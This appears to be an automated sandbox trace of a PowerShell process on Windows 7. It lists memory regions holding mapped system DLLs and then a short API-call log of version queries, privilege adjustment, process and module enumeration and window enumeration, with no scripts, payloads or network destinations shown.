filename = ""
Region:
id = 674
start_va = 0x42f0000
end_va = 0x42fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000042f0000"
filename = ""
Region:
id = 675
start_va = 0x4300000
end_va = 0x430ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004300000"
filename = ""
Region:
id = 676
start_va = 0x4310000
end_va = 0x431ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004310000"
filename = ""
Region:
id = 677
start_va = 0x4320000
end_va = 0x432ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004320000"
filename = ""
Region:
id = 678
start_va = 0x4330000
end_va = 0x433ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004330000"
filename = ""
Region:
id = 679
start_va = 0x75620000
end_va = 0x75627fff
entry_point = 0x756210e9
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 680
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 681
start_va = 0x4340000
end_va = 0x43bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004340000"
filename = ""
Region:
id = 682
start_va = 0x43c0000
end_va = 0x43cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000043c0000"
filename = ""
Region:
id = 683
start_va = 0x43d0000
end_va = 0x46a1fff
entry_point = 0x43d0000
region_type = mapped_file
name = "system.data.dll"
filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll")
Region:
id = 684
start_va = 0x46b0000
end_va = 0x46b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000046b0000"
filename = ""
Region:
id = 685
start_va = 0x5c0e0000
end_va = 0x5c730fff
entry_point = 0x5c0e0000
region_type = mapped_file
name = "system.data.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data\\1e85062785e286cd9eae9c26d2c61f73\\system.data.ni.dll")
Region:
id = 686
start_va = 0x64e70000
end_va = 0x65141fff
entry_point = 0x6511b43c
region_type = mapped_file
name = "system.data.dll"
filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll")
Region:
id = 687
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 688
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 689
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b2145d
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 690
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e21782
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 691
start_va = 0x46c0000
end_va = 0x46cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000046c0000"
filename = ""
Region:
id = 692
start_va = 0x46d0000
end_va = 0x46d0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000046d0000"
filename = ""
Region:
id = 693
start_va = 0x6b220000
end_va = 0x6b27afff
entry_point = 0x6b220000
region_type = mapped_file
name = "mscorjit.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")
Region:
id = 694
start_va = 0x46e0000
end_va = 0x46effff
entry_point = 0x0
region_type = private
name = "private_0x00000000046e0000"
filename = ""
Region:
id = 695
start_va = 0x46f0000
end_va = 0x46fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000046f0000"
filename = ""
Region:
id = 696
start_va = 0x4700000
end_va = 0x470ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004700000"
filename = ""
Region:
id = 697
start_va = 0x4770000
end_va = 0x50fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004770000"
filename = ""
Region:
id = 698
start_va = 0x75670000
end_va = 0x756cefff
entry_point = 0x75672134
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")
Region:
id = 699
start_va = 0x7ffd9000
end_va = 0x7ffd9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd9000"
filename = ""
Region:
id = 700
start_va = 0x75700000
end_va = 0x7570dfff
entry_point = 0x75701235
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 701
start_va = 0x4730000
end_va = 0x476ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004730000"
filename = ""
Region:
id = 702
start_va = 0x51a0000
end_va = 0x51dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000051a0000"
filename = ""
Region:
id = 703
start_va = 0x5230000
end_va = 0x526ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005230000"
filename = ""
Region:
id = 704
start_va = 0x5270000
end_va = 0x536ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005270000"
filename = ""
Region:
id = 705
start_va = 0x7ffd6000
end_va = 0x7ffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd6000"
filename = ""
Region:
id = 706
start_va = 0x7ffd7000
end_va = 0x7ffd7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd7000"
filename = ""
Region:
id = 707
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 708
start_va = 0x5f9f0000
end_va = 0x5fa19fff
entry_point = 0x5f9f0000
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")
Region:
id = 709
start_va = 0x5fa20000
end_va = 0x5fa40fff
entry_point = 0x5fa20000
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")
Region:
id = 710
start_va = 0x70f40000
end_va = 0x70f51fff
entry_point = 0x70f40000
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")
Region:
id = 711
start_va = 0x4710000
end_va = 0x471bfff
entry_point = 0x471e356
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx")
Region:
id = 712
start_va = 0x4720000
end_va = 0x472ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004720000"
filename = ""
Region:
id = 713
start_va = 0x5bfe0000
end_va = 0x5c0d0fff
entry_point = 0x5bfe0000
region_type = mapped_file
name = "system.configuration.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")
Region:
id = 714
start_va = 0x7ff50000
end_va = 0x7ff5ffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ff50000"
filename = ""
Region:
id = 715
start_va = 0x7ff60000
end_va = 0x7ffaffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ff60000"
filename = ""
Region:
id = 716
start_va = 0x5100000
end_va = 0x510ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005100000"
filename = ""
Region:
id = 717
start_va = 0x72fb0000
end_va = 0x72fc4fff
entry_point = 0x72fb0000
region_type = mapped_file
name = "rasman.dll"
filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")
Region:
id = 718
start_va = 0x72fd0000
end_va = 0x73021fff
entry_point = 0x72fd0000
region_type = mapped_file
name = "rasapi32.dll"
filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")
Region:
id = 719
start_va = 0x736d0000
end_va = 0x736dcfff
entry_point = 0x736d0000
region_type = mapped_file
name = "rtutils.dll"
filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")
Region:
id = 720
start_va = 0x751a0000
end_va = 0x751dbfff
entry_point = 0x751a0000
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 721
start_va = 0x5370000
end_va = 0x556ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005370000"
filename = ""
Region:
id = 722
start_va = 0x74cf0000
end_va = 0x74cf4fff
entry_point = 0x74cf0000
region_type = mapped_file
name = "wshtcpip.dll"
filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")
Region:
id = 723
start_va = 0x75190000
end_va = 0x75195fff
entry_point = 0x75190000
region_type = mapped_file
name = "wship6.dll"
filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")
Region:
id = 724
start_va = 0x5110000
end_va = 0x512ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000005110000"
filename = ""
Region:
id = 725
start_va = 0x5450000
end_va = 0x548ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005450000"
filename = ""
Region:
id = 726
start_va = 0x5530000
end_va = 0x556ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005530000"
filename = ""
Region:
id = 727
start_va = 0x7ffd5000
end_va = 0x7ffd5fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd5000"
filename = ""
Region:
id = 728
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 729
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 730
start_va = 0x74100000
end_va = 0x7411bfff
entry_point = 0x7410a431
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 731
start_va = 0x740f0000
end_va = 0x740f6fff
entry_point = 0x740f128d
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 732
start_va = 0x73fc0000
end_va = 0x73fccfff
entry_point = 0x73fc0000
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 733
start_va = 0x73fa0000
end_va = 0x73fb1fff
entry_point = 0x73fa0000
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 734
start_va = 0x74eb0000
end_va = 0x74eb7fff
entry_point = 0x74eb0000
region_type = mapped_file
name = "credssp.dll"
filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")
Region:
id = 735
start_va = 0x5370000
end_va = 0x53affff
entry_point = 0x0
region_type = private
name = "private_0x0000000005370000"
filename = ""
Region:
id = 736
start_va = 0x75060000
end_va = 0x750a3fff
entry_point = 0x75060000
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 737
start_va = 0x7ffd3000
end_va = 0x7ffd3fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd3000"
filename = ""
Region:
id = 738
start_va = 0x53b0000
end_va = 0x543ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000053b0000"
filename = ""
Region:
id = 739
start_va = 0x6da20000
end_va = 0x6da25fff
entry_point = 0x6da20000
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 740
start_va = 0x73fe0000
end_va = 0x74017fff
entry_point = 0x73fe0000
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 741
start_va = 0x5490000
end_va = 0x550ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005490000"
filename = ""
Region:
id = 742
start_va = 0x5490000
end_va = 0x54cffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005490000"
filename = ""
Region:
id = 743
start_va = 0x54d0000
end_va = 0x550ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000054d0000"
filename = ""
Region:
id = 744
start_va = 0x7ff4f000
end_va = 0x7ff4ffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ff4f000"
filename = ""
Region:
id = 745
start_va = 0x5130000
end_va = 0x5133fff
entry_point = 0x5130000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 746
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 747
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 748
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 749
start_va = 0x5140000
end_va = 0x5140fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000005140000"
filename = ""
Region:
id = 797
start_va = 0x73ea0000
end_va = 0x73ea8fff
entry_point = 0x73ea0000
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Thread:
id = 24
os_tid = 0xad8
[0033.566] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0033.747] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
[0033.747] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
[0033.747] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
[0033.747] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
[0035.302] GetVersionExW (in: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0035.302] GetLastError () returned 0x2
[0035.303] GetVersionExW (in: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0035.303] GetLastError () returned 0x2
[0035.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e66c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.308] GetLastError () returned 0x2
[0035.316] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.316] GetLastError () returned 0x2
[0035.316] GetVersionExW (in: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x365328*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0035.316] GetLastError () returned 0x2
[0035.317] SetErrorMode (uMode=0x1) returned 0x1
[0035.318] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x16eb08 | out: lpFileInformation=0x16eb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa963141, ftCreationTime.dwHighDateTime=0x1cb88fa, ftLastAccessTime.dwLowDateTime=0xa963141, ftLastAccessTime.dwHighDateTime=0x1cb88fa, ftLastWriteTime.dwLowDateTime=0xa9892a1, ftLastWriteTime.dwHighDateTime=0x1cb88fa, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
[0035.318] GetLastError () returned 0x2
[0035.318] SetErrorMode (uMode=0x1) returned 0x1
[0035.321] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x16eb8c | out: lpdwHandle=0x16eb8c) returned 0x94c
[0035.324] GetLastError () returned 0x0
[0035.325] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1e86634 | out: lpData=0x1e86634) returned 1
[0035.329] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16eb58, puLen=0x16eb54 | out: lplpBuffer=0x16eb58*=0x1e866d0, puLen=0x16eb54) returned 1
[0035.330] lstrlenW (lpString="䅁") returned 1
[0035.339] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e867ac, puLen=0x16ead0) returned 1
[0035.339] lstrlenW (lpString="Microsoft Corporation") returned 21
[0035.340] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
[0035.341] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e86800, puLen=0x16ead0) returned 1
[0035.341] lstrlenW (lpString="System.Management.Automation") returned 28
[0035.341] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
[0035.341] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e8685c, puLen=0x16ead0) returned 1
[0035.341] lstrlenW (lpString="6.1.7601.17514") returned 14
[0035.341] lstrcpyW (in: lpString1=0x365310, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
[0035.341] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e8689c, puLen=0x16ead0) returned 1
[0035.341] lstrlenW (lpString="System.Management.Automation.dll") returned 32
[0035.341] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
[0035.341] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e86904, puLen=0x16ead0) returned 1
[0035.341] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
[0035.341] lstrcpyW (in: lpString1=0x365310, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
[0035.341] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e869a0, puLen=0x16ead0) returned 1
[0035.341] lstrlenW (lpString="System.Management.Automation.dll") returned 32
[0035.341] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e86a04, puLen=0x16ead0) returned 1
[0035.342] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
[0035.342] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e86a80, puLen=0x16ead0) returned 1
[0035.342] lstrlenW (lpString="6.1.7601.17514") returned 14
[0035.342] lstrcpyW (in: lpString1=0x365310, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x1e86728, puLen=0x16ead0) returned 1
[0035.342] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
[0035.342] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x0, puLen=0x16ead0) returned 0
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x0, puLen=0x16ead0) returned 0
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x16ead4, puLen=0x16ead0 | out: lplpBuffer=0x16ead4*=0x0, puLen=0x16ead0) returned 0
[0035.342] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16eac8, puLen=0x16eac4 | out: lplpBuffer=0x16eac8*=0x1e866d0, puLen=0x16eac4) returned 1
[0035.344] VerLanguageNameW (in: wLang=0x0, szLang=0x365310, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
[0035.346] VerQueryValueW (in: pBlock=0x1e86634, lpSubBlock="\\", lplpBuffer=0x16eadc, puLen=0x16ead8 | out: lplpBuffer=0x16eadc*=0x1e8665c, puLen=0x16ead8) returned 1
[0035.355] GetCurrentProcessId () returned 0xad4
[0035.379] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x16e314 | out: lpLuid=0x16e314*(LowPart=0x14, HighPart=0)) returned 1
[0035.380] GetLastError () returned 0x0
[0035.382] GetCurrentProcess () returned 0xffffffff
[0035.382] GetLastError () returned 0x0
[0035.383] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x16e310 | out: TokenHandle=0x16e310*=0x2e8) returned 1
[0035.383] GetLastError () returned 0x0
[0035.386] AdjustTokenPrivileges (in: TokenHandle=0x2e8, DisableAllPrivileges=0, NewState=0x1e89174*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
[0035.386] GetLastError () returned 0x514
[0035.388] CloseHandle (hObject=0x2e8) returned 1
[0035.388] GetLastError () returned 0x514
[0035.394] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad4) returned 0x2e8
[0035.394] GetLastError () returned 0x514
[0035.406] EnumProcessModules (in: hProcess=0x2e8, lphModule=0x1e891b8, cb=0x100, lpcbNeeded=0x16eb04 | out: lphModule=0x1e891b8, lpcbNeeded=0x16eb04) returned 1
[0035.406] GetLastError () returned 0x514
[0035.409] GetModuleInformation (in: hProcess=0x2e8, hModule=0x220b0000, lpmodinfo=0x1e892f8, cb=0xc | out: lpmodinfo=0x1e892f8*(lpBaseOfDll=0x220b0000, SizeOfImage=0x72000, EntryPoint=0x220b7363)) returned 1
[0035.409] GetLastError () returned 0x514
[0035.411] GetModuleBaseNameW (in: hProcess=0x2e8, hModule=0x220b0000, lpBaseName=0x2e35e8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe
[0035.411] GetLastError () returned 0x514
[0035.412] GetModuleFileNameExW (in: hProcess=0x2e8, hModule=0x220b0000, lpFilename=0x2e35e8, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
[0035.412] GetLastError () returned 0x514
[0035.413] CloseHandle (hObject=0x2e8) returned 1
[0035.413] GetLastError () returned 0x514
[0035.415] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xad4) returned 0x2e8
[0035.415] GetLastError () returned 0x514
[0035.417] GetExitCodeProcess (in: hProcess=0x2e8, lpExitCode=0x1e887a8 | out: lpExitCode=0x1e887a8*=0x103) returned 1
[0035.417] GetLastError () returned 0x514
[0035.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2e85278, Length=0x20000, ResultLength=0x16eb4c | out: SystemInformation=0x2e85278, ResultLength=0x16eb4c*=0xa9c0) returned 0x0
[0035.443] EnumWindows (lpEnumFunc=0x1cc3612, lParam=0x0) returned 1
[0035.445] GetWindowThreadProcessId (in: hWnd=0x50100, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.445] GetLastError () returned 0x514
